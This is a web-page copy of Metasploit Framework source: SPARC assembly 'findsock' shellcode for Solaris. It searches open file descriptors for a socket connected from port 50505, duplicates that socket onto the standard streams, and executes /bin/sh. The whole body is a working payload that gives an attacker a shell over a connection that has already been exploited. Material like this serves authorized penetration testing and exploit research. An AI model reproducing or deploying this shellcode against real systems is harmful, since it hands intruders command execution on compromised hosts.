CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/shellcode/solaris/sparc/single_findsock.s
Views: 11783
1
##
2
#
3
# Name: single_findsock
4
# Platforms: Solaris
5
# Authors: vlad902 <vlad902 [at] gmail.com>
6
# Version: $Revision: 1991 $
7
# License:
8
#
9
# This file is part of the Metasploit Exploit Framework
10
# and is subject to the same licenses and copyrights as
11
# the rest of this package.
12
#
13
# Description:
14
#
15
# Search file descriptors based on source port.
16
#
17
##
18
19
.globl main
20
21
main:
22
# l6 is set here with the port
23
set 50505, %l6
24
andn %sp, 7, %sp
25
26
xor %o2, %o2, %o0
27
st %o0, [ %sp - 0x18 ]
28
29
getpeername_loop:
30
add %o0, 1, %o0
31
and %o0, 4095, %o0
32
33
mov 0x10, %o1
34
std %o0, [ %sp - 0x08 ]
35
36
sub %sp, 0x04, %o2
37
sub %sp, 0x18, %o1
38
mov 243, %g1
39
ta 0x08
40
41
mov 3, %o2
42
lduh [ %sp - 0x16 ], %l5
43
xorcc %l5, %l6, %i5
44
bnz getpeername_loop
45
fcntl_loop:
46
ld [ %sp - 0x08 ], %o0
47
48
mov 9, %o1
49
subcc %o2, 1, %o2
50
mov 0x3e, %g1
51
ta 0x08
52
53
bnz fcntl_loop
54
55
xor %o3, %o3, %o3
56
set 0x2f62696e, %l0
57
set 0x2f736800, %l1
58
sub %sp, 0x10, %o0
59
sub %sp, 0x08, %o1
60
std %l0, [ %sp - 0x10 ]
61
st %o0, [ %sp - 0x08 ]
62
st %g0, [ %sp - 0x04 ]
63
mov 0x3b, %g1
64
ta 0x08
65
66